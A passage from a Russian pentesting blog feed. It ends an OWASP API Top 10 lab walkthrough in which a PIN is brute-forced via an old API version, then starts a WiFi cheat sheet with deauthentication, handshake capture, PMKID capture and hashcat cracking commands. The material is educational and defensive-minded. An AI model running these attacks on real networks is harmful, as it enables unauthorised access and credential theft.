      <li id="Om9v">Автоматизированный процесс для непрерывной оценки эффективности конфигурации и настроек во всех средах.</li>
    </ul>
    <li id="jLNN">Кроме того:</li>
    <ul id="n3j7">
      <li id="OcWN">Убедитесь, что всего API-коммуникации от клиента к серверу API и любых компонентов вниз и вверх происходит через зашифрованный канал связи (TLS), независимо от того, является ли это внутренним или общедоступным API.</li>
      <li id="UXvf">Уточните, какие HTTP-глаголы могут использоваться для доступа к каждому API, и отключите все остальные HTTP-глаголы (например, HEAD).</li>
      <li id="RGLQ">API, ожидающие доступ из браузерных клиентов (например, веб-приложения на фронтенде), должны, по крайней мере:</li>
      <ul id="AmfN">
        <li id="Sbdf">Реализовывать корректную политику Cross-Origin Resource Sharing (CORS).</li>
        <li id="QN3q">Включать соответствующие заголовки безопасности.</li>
        <li id="kIFZ">Ограничивать входящие типы контента/форматы данных только теми, которые соответствуют бизнес- и функциональным требованиям.</li>
      </ul>
      <li id="cVb2">Убедитесь, что все серверы в цепочке HTTP-серверов (например, балансировщики нагрузки, обратные и прямые прокси-серверы и серверы внутренней части) обрабатывают входящие запросы единообразно, чтобы избежать проблем с несинхронизацией.</li>
      <li id="l7bI">При необходимости определите и обеспечьте соблюдение всех схем ответных данных API, включая ошибки, чтобы предотвратить отправку атакующим детализации ошибок и другой ценной информации.</li>
    </ul>
  </ul>
  <p id="qZHJ"></p>
  <h3 id="4a45"><strong>API9:2023 Improper Inventory Management</strong></h3>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="94PN">API9 гласит, что &quot;API, как правило, предоставляют больше конечных точек, чем традиционные веб-приложения, что делает правильную и обновляемую документацию чрезвычайно важной. Также важно иметь правильный список хостов и развернутых версий API для смягчения проблем, таких как устаревшие версии API и выставленные точки отладки&quot;.</p>
  </section>
  <p id="QaLC">Для демонстрации этой уязвимости мы переходим к API9 в коллекции, выполняем вход и отправляем запрос в Burp. Пересылая его в Repeater и просматривая ответ, мы видим, что API имеет ограничение на количество запросов в 5 и оставшийся лимит 4, что означает, что мы можем попытаться ввести PIN-код только 4 раза.</p>
  <figure id="hWMH" class="m_retina">
    <img src="https://img1.teletype.in/files/c5/04/c504f081-aaa9-4844-bf0a-c5fbd3185542.webp" width="824" />
  </figure>
  <figure id="UNXd" class="m_retina">
    <img src="https://img4.teletype.in/files/f3/40/f340e486-c0a9-40af-bbde-92cc22547ae5.webp" width="587.5" />
  </figure>
  <p id="ibWI">Попытка просмотра v1 API путем редактирования запроса дала мне данные предыдущей версии v2 API. Кроме того, в этом случае мы не видим ограничений по количеству запросов. Поэтому мы можем отправить столько запросов, сколько захотим для этого API. Для легкого перебора пин-кода в этом случае я использовал инструмент ffuf и этот словарь для предсказания пин-кода.</p>
  <figure id="KVIr" class="m_retina">
    <img src="https://img3.teletype.in/files/ab/57/ab57f0e5-6c1c-4226-9275-08709a5612c0.png" width="666.5" />
  </figure>
  <figure id="lsqS" class="m_retina">
    <img src="https://img4.teletype.in/files/bc/d0/bcd0476f-5892-4b6b-bd19-c3555c311a4b.webp" width="822" />
  </figure>
  <p id="gBf8">Результатом выполнения ffuf был пин-код &#x27;1655&#x27; с кодом состояния 200 в ответе. Позднее я попробовал использовать этот пин-код в запросе, в результате чего мне удалось получить доступ к данным пользователя.</p>
  <p id="uTk5">vAPI уязвим для неправильной оценки инвентаря, так как разработчик API не управлял предыдущей версией API, и мы, как пользователи, можем получить к ней доступ и просматривать информацию.</p>
  <p id="Ddfo"><strong>Как предотвратить</strong></p>
  <ul id="vDNf">
    <li id="IbGf">Создайте инвентаризацию всех хостов API и документируйте важные аспекты каждого из них, сосредотачиваясь на среде API (например, производственной, тестовой, разработке), кто должен иметь сетевой доступ к хосту (например, общедоступный, внутренний, партнеры) и версию API.</li>
    <li id="u5rk">Сделайте инвентаризацию интегрированных служб и документируйте важные аспекты, такие как их роль в системе, какие данные обмениваются (поток данных) и их чувствительность.</li>
    <li id="gRg7">Документируйте все аспекты вашего API, такие как аутентификация, ошибки, перенаправления, ограничение скорости, политика Cross-Origin Resource Sharing (CORS), и конечные точки, включая их параметры, запросы и ответы.</li>
    <li id="pdoO">Автоматизируйте генерацию документации, применяя открытые стандарты. Включите построение документации в ваш конвейер непрерывной интеграции/непрерывной доставки (CI/CD).</li>
    <li id="5oTi">Делайте документацию API доступной только для тех, кому разрешено использовать API.</li>
    <li id="mZAR">Используйте внешние средства защиты, такие как специализированные средства безопасности API, для всех выставленных версий ваших API, а не только для текущей версии в производстве.</li>
    <li id="KFMk">Избегайте использования производственных данных в непроизводственных развертываниях API. Если это невозможно, такие конечные точки должны получать такое же обращение в плане безопасности, как и производственные.</li>
    <li id="j2gr">Когда новые версии API включают улучшения в безопасности, проводите анализ рисков, чтобы определить меры по их минимизации, необходимые для более старых версий. Например, возможно ли применить улучшения без нарушения совместимости API или требуется либо быстро убрать старую версию, либо заставить всех клиентов перейти на последнюю версию.</li>
  </ul>
  <p id="qe18"></p>
  <h3 id="dbd7"><strong>API10:2023 Unsafe Consumption of APIs</strong></h3>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="FIeJ">API10 утверждает, что &quot;Разработчики чаще доверяют данным, полученным из API сторонних поставщиков, больше, чем вводу от пользователей, и, таким образом, склонны к использованию менее строгих стандартов безопасности. Для взлома API злоумышленники нацеливаются на интегрированные сторонние службы, вместо того чтобы пытаться взломать целевое API напрямую.&quot;</p>
  </section>
  <p id="T0kW">Это относится к небезопасной интеграции и использованию API, особенно при взаимодействии с API сторонних поставщиков. Чтобы эффективно проверить и продемонстрировать эту уязвимость, было бы идеально иметь доступ к API стороннего поставщика, о котором известно, что в нем есть некоторые уязвимости или нарушения конфигурации безопасности.</p>
  <p id="cScZ">В лабораторной среде эта уязвимость не может быть эксплуатирована, так как в ней не используется никакой API стороннего поставщика. Так что я просто постараюсь объяснить это простыми словами.</p>
  <p id="Ktzu">Основной уязвимостью в целевом API является то, что разработчики часто доверяют и не проводят тщательной проверки конечных точек, взаимодействующих с внешними или сторонними API. Это доверие основано на предположении, что у внешних API есть достаточные меры безопасности, такие как транспортная безопасность (шифрование), механизмы аутентификации/авторизации и проверка и очистка входных данных. Однако это доверие может привести к игнорированию потенциальных уязвимостей в этих интегрированных API или службах. Последствия этой уязвимости могут быть серьезными и разнообразными. Если злоумышленник успешно эксплуатирует эту слабость, он может получить несанкционированный доступ к чувствительной информации, которую целевое API извлекает из скомпрометированных внешних API или служб. Это может привести к утечкам данных и разглашению конфиденциальной информации.</p>
  <p id="7JqB">Кроме того, злоумышленник может проводить различные виды атак внедрения на целевое API через скомпрометированные внешние API. Атаки внедрения могут включать в себя SQL-инъекции, инъекции команд или другие формы уязвимостей выполнения кода, которые могут привести к несанкционированному управлению целевым API или даже сервером, на котором оно работает. Кроме того, злоумышленники могут предпринимать атаки отказа в обслуживании (DoS) против целевого API, манипулируя или нарушая поток данных от скомпрометированных внешних API, что влияет на доступность и надежность услуг целевого API.</p>
  <p id="J6Ld"><strong>Как предотвратить</strong></p>
  <ul id="wo81">
    <li id="l0y6">При оценке поставщиков услуг оцените их уровень безопасности API.</li>
    <li id="Vyx9">Гарантируйте, что все взаимодействия с API происходят через безопасный канал связи (TLS).</li>
    <li id="6WEt">Всегда проверяйте и правильно очищайте данные, полученные от интегрированных API, перед использованием.</li>
    <li id="5fkb">Ведите разрешенный список известных мест, куда могут перенаправлять вас интегрированные API: не следуйте перенаправлениям слепо.</li>
  </ul>
  <p id="xpTa"></p>
  <h2 id="KvRD">Отступление для разъяснений </h2>
  <p id="rFym">В документе от OWASP по каждому риску/угрозе приводится подробная информация:</p>
  <ul id="Wwdk">
    <li id="lM1A">Threat agents/Attack vectors - определение источника угрозы или вектора атаки</li>
    <li id="czXD">Security Weakness - описание недостатков, которые могут быть использованы</li>
    <li id="agM6">Impacts - предположения о возможном вреде, который может быть нанесен организации в результате реализации риска</li>
    <li id="k0iC">Is the API Vulnerable? - описание почему эта угроза актуальна для API</li>
    <li id="brdG">Example Attack Scenarios - примеры атак</li>
    <li id="SQYQ">How To Prevent - возможный набор практик и мер безопасности для CI/CD</li>
    <li id="jR1N">References - ссылки на подобные уязвимости, утечки и рекомендации по защите</li>
  </ul>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@bh_cat/pEjv2VLGu5l</guid><link>https://teletype.in/@bh_cat/pEjv2VLGu5l?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat</link><comments>https://teletype.in/@bh_cat/pEjv2VLGu5l?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat#comments</comments><dc:creator>bh_cat</dc:creator><title>Как стать гуру или WiFi Cheat Sheet</title><pubDate>Mon, 11 Sep 2023 11:41:54 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/a1/3e/a13e553d-6e14-4be4-a3c1-df1966a16f5d.png"></media:content><tt:hashtag>wifi</tt:hashtag><tt:hashtag>pentest</tt:hashtag><description><![CDATA[<img src="https://img3.teletype.in/files/e0/62/e062c837-fa12-4fc8-8ff8-3b21b9b30f66.jpeg"></img>Этот документ больше похож на чек-лист для самопроверки и может содержать полезные советы и хитрости.]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="g0Hz">Помните, что использование полученных знаний и навыков должно быть ограничено законными и этическими рамками, и вмешательство в чужие сети без разрешения является неприемлемым и незаконным действием.</p>
  </section>
  <p id="f2ms">Этот документ больше похож на чек-лист для самопроверки и может содержать полезные советы и хитрости. Все было протестировано на Kali Linux v2023.1 (64-битной версии) и <s>WiFi Pineapple Mark VII Basic с прошивкой v1.0.2</s>, а также на Kali Linux v2023.1 (64-битной версии) и <s>WiFi Pineapple NANO с прошивкой v2.7.0</s>.</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="RbBD">В оригинале статьи был использован инструмент для проведения тестирования wifi &quot;WiFi Pineapple NANO&quot;, но подумайте трижды, прежде чем покупать. Данный инструмент не даёт никаких преимуществ, кроме удобства, но кто мы такие - мы любители и профессионалы, а не скрипт кидди с условной штукой для взлома всего подряд. Мой совет - &quot;не нужно заморачиваться, всё уже у вас под рукой&quot;</p>
  </section>
  <figure id="ea3h" class="m_retina">
    <img src="https://img3.teletype.in/files/2c/b2/2cb29ffc-3470-40e1-bd13-fd70e831f53e.jpeg" width="381" />
  </figure>
  <p id="GN41">Для получения справки по любым инструментам вы можете использовать команду <code>&lt;название_инструмента&gt; [-h | -hh | --help]</code> или <code>man &lt;название_инструмента&gt;</code>. Иногда опция <code>-h</code> может быть недоступной из-за конфликта с другой опцией, например, с опцией &quot;хост&quot; или какой-то другой. В таком случае используйте <code>-hh</code> или <code>--help</code>, либо прочтите руководство с помощью команды <code>man</code>.</p>
  <p id="EYnh">Вам также могут пригодиться следующие веб-сайты при написании отчета: </p>
  <p id="NgKV"><a href="https://cwe.mitre.org/data/index.html" target="_blank">cwe.mitre.org/data</a><br /><a href="https://owasp.org/projects/" target="_blank">owasp.org/projects</a><br /><a href="http://cheatsheetseries.owasp.org" target="_blank">cheatsheetseries.owasp.org</a><br /><a href="http://nvd.nist.gov/vuln-metrics/cvss/v3-calculator" target="_blank">nvd.nist.gov/vuln-metrics/cvss/v3-calculator</a></p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="i8wA">Оригинальная статья вышла в 2021 году, но кто мы такие, чтобы просто перепечатывать без внесения чего-то своего, правильно - так мы делаем, когда лень или когда лень.</p>
    <p id="Sa9f">Так вот, вышла CVSS v4, и по ней будут проходить расчеты </p>
  </section>
  <p id="LD4P"><a href="https://www.first.org/cvss/calculator/4.0" target="_blank">first.org/cvss/calculator/4.0</a></p>
  <p id="3JGh"><a href="https://ncp.nist.gov/repository" target="_blank">nvd.nist.gov/ncp/repository</a><br /><a href="http://attack.mitre.org/" target="_blank">attack.mitre.orgа</a></p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="xYNT">Я прикладываю ру версию митре, вы можете развернуть её у себя, если нужен гайд - пишите в комментариях, мы это уже делали.</p>
    <p id="mUy3"><a href="https://mitre.ptsecurity.com/ru-RU/techniques/product/pt-nad" target="_blank">ptsecurity.com/ru-RU/techniques/product/pt-nad</a></p>
  </section>
  <p id="LppJ">Проверьте популярный инструмент для аудита беспроводных сетей <a href="https://github.com/v1s1t0r1sh3r3/airgeddon" target="_blank">v1s1t0r1sh3r3/airgeddon</a>. Благодарность автору!</p>
  <p id="ZRj9"></p>
  <h2 id="tA6y">Оглавление</h2>
  <ul id="vfBV">
    <li id="OtKV"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#q2su" target="_blank">А что использовать ?</a></li>
    <li id="FF4t"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#V3P3" target="_blank">Настройка </a></li>
    <li id="0wTa"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#4Ycm" target="_blank">Мониторинг</a></li>
    <li id="1uPo"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#I9hU" target="_blank">Взлом</a></li>
    <ul id="pUVj">
      <li id="rWRh"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#rGcZ" target="_blank">WPA/WPA2 Handshake</a></li>
      <li id="VzOE"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#DMNt" target="_blank">PMKID Attack</a></li>
      <li id="5ISy"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#cVaG" target="_blank">ARP Request Replay Attack</a></li>
      <li id="GW48"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#PDc1" target="_blank">Атака Hirte</a></li>
      <li id="Z7vO"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#5OKe" target="_blank">WPS PIN</a></li>
      <li id="yC7q"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#RrSw" target="_blank">Атака на WPA/WPA2-Enterprise (MGT)</a></li>
    </ul>
    <li id="ZQu2"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#z06i" target="_blank">Словари</a></li>
    <ul id="A0M9">
      <li id="k0mW"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#Lb9O" target="_blank">Password Spraying</a></li>
    </ul>
    <li id="bIr1"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#WKv3" target="_blank">Пост-эксплуатация</a></li>
    <li id="VXbx"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#x7J5" target="_blank">WPA/WPA2-Personal (PSK) Rogue AP Evil Twin</a></li>
    <ul id="qCai">
      <li id="LzqY"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#34Fw" target="_blank">Базовая точка доступа WPA/WPA2-PSK</a></li>
      <li id="ZeI7"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#FyD5" target="_blank">WPA/WPA2-PSK AP Evil Twin + Captive Portal Attack</a></li>
      <li id="4aCr"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#y812" target="_blank">WPA/WPA2-PSK AP Evil Twin + (половинный) захват рукопожатия WPA</a></li>
    </ul>
    <li id="17KG"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#qb4w" target="_blank">WPA/WPA2-Enterprise (MGT) Rogue AP Evil Twin</a></li>
    <li id="KWeb"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#xTM5" target="_blank">WPA/WPA2-Enterprise AP Evil Twin + Кража учетных данных RADIUS</a></li>
    <ul id="7zdG">
      <li id="ftdc"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#ZECe" target="_blank">EAP Downgrade Attack</a></li>
      <li id="CcrS"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#H9NQ" target="_blank">Полное понижение версии EAP (с самого сильного до самого слабому)</a></li>
      <li id="JumK"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#nhDR" target="_blank">Подход, оптимизированный по скорости (от самого сильного к самому слабому)</a></li>
    </ul>
    <li id="kEuR"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#xoMZ" target="_blank">WPA/WPA2-Enterprise AP Evil Twin + EAP (MSCHAPv2) Relay</a></li>
    <ul id="Fxi1">
      <li id="DYbI"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#WC78" target="_blank">RADIUS Credentials Management</a></li>
    </ul>
    <li id="Hqrw"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#suji" target="_blank">WPA/WPA2-Enterprise AP Evil Twin + Captive Portal Attack</a></li>
    <li id="MSl3"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#NBf9" target="_blank">WPA/WPA2-Enterprise AP Evil Twin + NetNTLM Hash Capture</a></li>
    <li id="eQkO"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#Zfym" target="_blank">Mind карта для пентеста wifi</a></li>
    <li id="IpBY"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#5eMK" target="_blank">Krack - ни разу не пригодилось</a></li>
    <li id="QeJD"><a href="https://teletype.in/@bh_cat/pEjv2VLGu5l#jLwE" target="_blank">MacStealer: Wi-Fi Client Isolation Bypass</a></li>
  </ul>
  <p id="bd8f"></p>
  <h2 id="q2su">А что использовать ?</h2>
  <figure id="CuA6" class="m_retina">
    <img src="https://img4.teletype.in/files/73/2a/732ae44c-fec8-4e8b-a9f8-d8816af906b5.jpeg" width="841.5" />
    <figcaption>Старая фотография, но показывает адаптеры, которыми я пользовался </figcaption>
  </figure>
  <h3 id="BfCG"><strong><em>ALFA</em> Network <em>AWUS036ACH чипсет RTL8812AU</em></strong></h3>
  <figure id="acLy" class="m_retina">
    <img src="https://img1.teletype.in/files/4d/37/4d37c319-c70e-49aa-bb7c-bc29f71a95b4.jpeg" width="355" />
    <figcaption>Такой хватит на все ваши хотелки</figcaption>
  </figure>
  <h3 id="HPIw"><strong><em>ALFA</em> Network AWUS036NHA чипсет AR9271L</strong></h3>
  <figure id="gBYN" class="m_retina">
    <img src="https://img2.teletype.in/files/5c/e3/5ce3a8f7-9328-4805-b541-cad9ea99feef.jpeg" width="266.5" />
    <figcaption>Только для 2.4Gz</figcaption>
  </figure>
  <h3 id="ag5j">ALFA Network AWUS1900 чипсет RTL8814AU</h3>
  <figure id="qylD" class="m_retina">
    <img src="https://img1.teletype.in/files/03/64/03648040-cea4-4593-9048-06d7dd10f9e5.webp" width="1000" />
    <figcaption>Не нашел в коллекции фото.</figcaption>
  </figure>
  <p id="JCvX"></p>
  <h2 id="V3P3">Настройка</h2>
  <p id="VN6H">Просмотр конфигурации сетевых интерфейсов:</p>
  <p id="9rRx"><code>ifconfig &amp;&amp; iwconfig &amp;&amp; airmon-ng</code></p>
  <p id="p9yu">Включение/отключение сетевого интерфейса:</p>
  <pre id="jo0I">ifconfig wlan0 up
ifconfig wlan0 down</pre>
  <p id="RHM2">Перезапуск менеджера сети:</p>
  <p id="WEbd"><code>service NetworkManager restart</code></p>
  <p id="6i2q"><strong>Проверка регуляторной</strong> области беспроводной сети (WLAN):</p>
  <p id="rTWu"><code>iw reg get</code></p>
  <p id="aFk3"><strong>Установка регуляторной</strong> области беспроводной сети (WLAN):</p>
  <p id="ZqpO">Увеличение/уменьшение мощности беспроводного интерфейса (высокая мощность может быть незаконной в некоторых странах):</p>
  <p id="LkaN"><code>iwconfig wlan0 txpower 40</code></p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="CLpD">Стоит отметить, что для некоторых wifi-адаптеров данная команда работать не будет, например для чипов <a href="https://github.com/aircrack-ng/rtl8814au" target="_blank">rtl8814au</a> и <a href="https://github.com/aircrack-ng/rtl8812au" target="_blank">rtl8812au</a> </p>
    <p id="XVmW">Разные страны налагают разные ограничения на частотные каналы WiFi. Это может быть проблемой, если ваша сетевая карта или операционная система заставляют вас использовать другую конфигурацию, чем вам нужно. Существует множество причин, почему это может происходить, начиная от драйверов, предпочитающих настройки EEPROM, и заканчивая странными решениями, основанными на наблюдениях за активностью сети.</p>
  </section>
  <p id="R8F3">Также, можно использовать дополнительное ПО для данной настройки. Измененная конфигурация регулирования ограничения доступных частот и максимальной мощности передатчика в соответствии с региональными настройками - <a href="https://github.com/singe/wifi-frequency-hacker" target="_blank">ссылка на github</a>.</p>
  <p id="yEZh"></p>
  <h2 id="4Ycm">Мониторинг</h2>
  <p id="5ksO">Установка беспроводного сетевого интерфейса в режим мониторинга:</p>
  <pre id="C31V">airmon-ng start wlan0
ifconfig wlan0 down &amp;&amp; iwconfig wlan0 mode monitor &amp;&amp; ifconfig wlan0 up</pre>
  <p id="4h3t">Установка беспроводного сетевого интерфейса в режим мониторинга на указанном канале:</p>
  <pre id="3DMU">airmon-ng start wlan0 8
iwconfig wlan0 channel 8</pre>
  <p id="XoD2">[Дополнительно] Остановка служб, которые могут мешать работе беспроводных сетевых интерфейсов в режиме мониторинга:</p>
  <p id="GfvO"><code>airmon-ng check kill</code></p>
  <p id="GAhZ">Вернуть беспроводный сетевой интерфейс в режим управления (managed mode):</p>
  <pre id="S7t4">airmon-ng stop wlan0mon
ifconfig wlan0 down &amp;&amp; iwconfig wlan0 mode managed &amp;&amp; ifconfig wlan0 up</pre>
  <p id="nJUa">Ищите беспроводные сети в вашей области:</p>
  <pre id="SJsa">airodump-ng --wps -w airodump_sweep_results wlan0mon
wash -a -i wlan0mon</pre>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="3YQ4">[Дополнительно] Установите Reaver/Wash на WiFi Pineapple Mark VII:</p>
    <pre id="3MUg">bash</pre>
    <pre id="8XoB">opkg update &amp;&amp; opkg install libpcap reaver
</pre>
    <p id="Htcm">[Дополнительно] Установите Reaver/Wash на WiFi Pineapple Nano:</p>
    <pre id="V0lK">bash</pre>
    <pre id="bXoY">opkg update &amp;&amp; opkg install libpcap &amp;&amp; opkg -d sd install wash</pre>
  </section>
  <p id="qLVZ">Мониторинг беспроводной сети для захвата рукопожатий/запросов:</p>
  <p id="rpCU"><code>airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid</code></p>
  <p id="47GO">Если вы указали выходной файл, не забудьте остановить <code>airodump-ng</code> после завершения мониторинга, потому что это приведет к заполнению всего доступного места на диске большим файлом PCAP.</p>
  <p id="dF5t">Для получения дополнительной информации о беспроводных точках доступа, такой как их MAC-адрес, название производителя и т. д., вы можете использовать инструменты, такие как <a href="https://www.kismetwireless.net/" target="_blank">Kismet </a><s>или WiFi Pineapple</s>.</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Baj7">Kismet - это мощный инструмент для мониторинга беспроводных сетей и анализа беспроводного трафика. Вот некоторые из его преимуществ:</p>
    <ol id="R2MR">
      <li id="9Hhh"><strong>Мониторинг и анализ беспроводных сетей</strong>: Kismet способен обнаруживать и отслеживать беспроводные сети в реальном времени. Он может собирать информацию о доступных точках доступа, клиентах и каналах, а также анализировать сетевой трафик.</li>
      <li id="s3v1"><strong>Множество поддерживаемых устройств</strong>: Kismet поддерживает широкий спектр беспроводных адаптеров и карт, что делает его гибким и адаптируемым для различных аппаратных конфигураций.</li>
      <li id="fs5p"><strong>Графический интерфейс и командная строка</strong>: У Kismet есть как графический интерфейс для удобного просмотра и анализа данных, так и командная строка для более продвинутых пользователей.</li>
      <li id="MqpN"><strong>Поддержка различных форматов данных</strong>: Kismet может записывать данные в различных форматах, включая PCAP для последующего анализа в Wireshark.</li>
      <li id="5Ys8"><strong>Поддержка GPS</strong>: Вы можете интегрировать GPS-устройство для отслеживания физического местоположения обнаруженных сетей и клиентов.</li>
      <li id="anYR"><strong>Поддержка различных операционных систем</strong>: Kismet доступен для Linux, macOS и Windows, что позволяет использовать его на разных платформах.</li>
      <li id="jkKy"><strong>Активное сообщество и обновления</strong>: Kismet имеет активное сообщество разработчиков и пользователей, что обеспечивает постоянное обновление и поддержку инструмента.</li>
    </ol>
  </section>
  <p id="KfER"></p>
  <h2 id="I9hU">Взлом</h2>
  <p id="VZY1">Проверить поддержку беспроводным интерфейсом инъекции пакетов:</p>
  <p id="WawO"><code>aireplay-ng --test wlan1 -e essid -a FF:FF:FF:FF:FF:FF</code></p>
  <p id="wykH"></p>
  <h3 id="rGcZ">WPA/WPA2 Handshake</h3>
  <p id="TEix">Мониторинг беспроводной сети для захвата четырехступенчатого рукопожатия WPA/WPA2:</p>
  <p id="t2cr"><code>airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid</code></p>
  <p id="uWmF">[Опционально] Деаутентифицировать клиентов из беспроводной сети:</p>
  <p id="9GMw"><code>aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF</code></p>
  <p id="et9m">Запустить атаку словарем против рукопожатия WPA/WPA2:</p>
  <p id="ypu3"><code>aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF -w rockyou.txt airodump_essid_results*.</code></p>
  <p id="ZH4U"></p>
  <h3 id="DMNt">PMKID Attack</h3>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="sVn0">Про него была отдельная запись на канале под #wifi</p>
    <p id="gYDr">Ещё советую к прочтению <a href="https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/" target="_blank">статью</a> &quot;Pwning WPA/WPA2 Networks With Bettercap and the PMKID Client-Less Attack&quot;, но тоже достаточно старая, нужно будет заменять метод hashcat на 22000</p>
  </section>
  <p id="Z1OZ">Взлом аутентификации WPA/WPA2 без деаутентификации клиентов.</p>
  <p id="1aoK">Установка необходимых инструментов на Kali Linux:</p>
  <p id="Dzt1"><code>apt update &amp;&amp; apt -y install hcxtools</code></p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Wijj">Пару раз наблюдал споры в чатах, а зачем использовать именно <code>apt-get</code> если есть <code>apt</code>? Вот различия:</p>
    <ol id="jiwb">
      <li id="mGYp"><strong>Синтаксис команды:</strong></li>
      <ul id="e6K9">
        <li id="VD5l"><code>apt-get</code> имеет более длинную и более старую историю, поэтому его синтаксис может казаться менее интуитивным. Например, для установки пакета с использованием <code>apt-get</code> вы должны написать: <code>sudo apt-get install package_name</code>.</li>
        <li id="573k"><code>apt</code> имеет более краткий и более современный синтаксис. Для установки пакета с использованием <code>apt</code> вы можете написать: <code>sudo apt install package_name</code>.</li>
      </ul>
      <li id="RQBb"><strong>Подсказки и автодополнение:</strong></li>
      <ul id="45JZ">
        <li id="bJ6G"><code>apt</code> обладает функцией автодополнения и подсказок, что делает его более удобным для пользователей. Вы можете начать вводить команду, и <code>apt</code> предложит вам варианты, которые начинаются с введенных вами символов.</li>
        <li id="XSYf"><code>apt-get</code> не предоставляет такой возможности, и пользователю приходится точно вводить команды без подсказок.</li>
      </ul>
      <li id="koNO"><strong>Улучшенное отслеживание зависимостей:</strong></li>
      <ul id="ETpA">
        <li id="LtSA"><code>apt</code> более интеллектуально управляет зависимостями и может автоматически удалять ненужные пакеты после удаления других пакетов, что уменьшает вероятность &quot;оставшегося мусора&quot; на системе.</li>
        <li id="LX0Y"><code>apt-get</code> не так умно управляет зависимостями и может потребовать дополнительных действий со стороны пользователя для удаления ненужных пакетов.</li>
      </ul>
      <li id="jluo"><strong>Интеграция с <code>apt</code> командами:</strong></li>
      <ul id="RLUd">
        <li id="CVkl"><code>apt</code> является частью более широкой системы <code>apt</code>, которая также включает команды, такие как <code>apt-cache</code>, <code>apt-search</code> и др. <code>apt</code> обеспечивает более единый и удобный опыт для пользователей, объединяя эти команды.</li>
      </ul>
    </ol>
    <p id="tKgg">В целом, <code>apt</code> можно считать более современным и удобным инструментом для управления пакетами в системах Debian и Ubuntu, по сравнению с более старой и менее удобной командой <code>apt-get</code>. Однако <code>apt-get</code> все еще доступен и может быть использован в старых системах или в случаях, когда требуется более точное управление процессом установки и удаления пакетов.</p>
  </section>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="XW1X">[Дополнительно] Установите необходимый инструмент на WiFi Pineapple Mark VII: </p>
    <p id="IgY5"><code>opkg update &amp;&amp; opkg install hcxdumptool</code></p>
    <p id="NB4g">[Дополнительно] Установите необходимый инструмент на WiFi Pineapple Nano:</p>
    <p id="EUfw"><code>opkg update &amp;&amp; opkg -d sd install hcxdumptool</code></p>
  </section>
  <p id="xtRv">Начните захват PMKID хешей для всех близлежащих сетей:</p>
  <p id="2DNZ"><code>hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon</code></p>
  <p id="H0tp">[Опционально] Начните захват PMKID хешей для указанных беспроводных сетей:</p>
  <pre id="HK9D">echo HH:HH:HH:HH:HH:HH | sed &#x27;s/\://g&#x27; &gt;&gt; filter.txt
hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon --filterlist</pre>
  <p id="6aeg">Иногда может потребоваться несколько часов, чтобы захватить один PMKID хеш. Извлеките PMKID хеши из файла PCAP:</p>
  <p id="EcgE"><code>hcxpcaptool hcxdumptool_results.cap -k hashes.txt</code></p>
  <p id="qmQp">Запустите атаку словарем PMKID хешей:</p>
  <p id="lxJF"><code>hashcat -m 22000 -a 0 --session=cracking --force --status -O -o hashcat_results.txt</code></p>
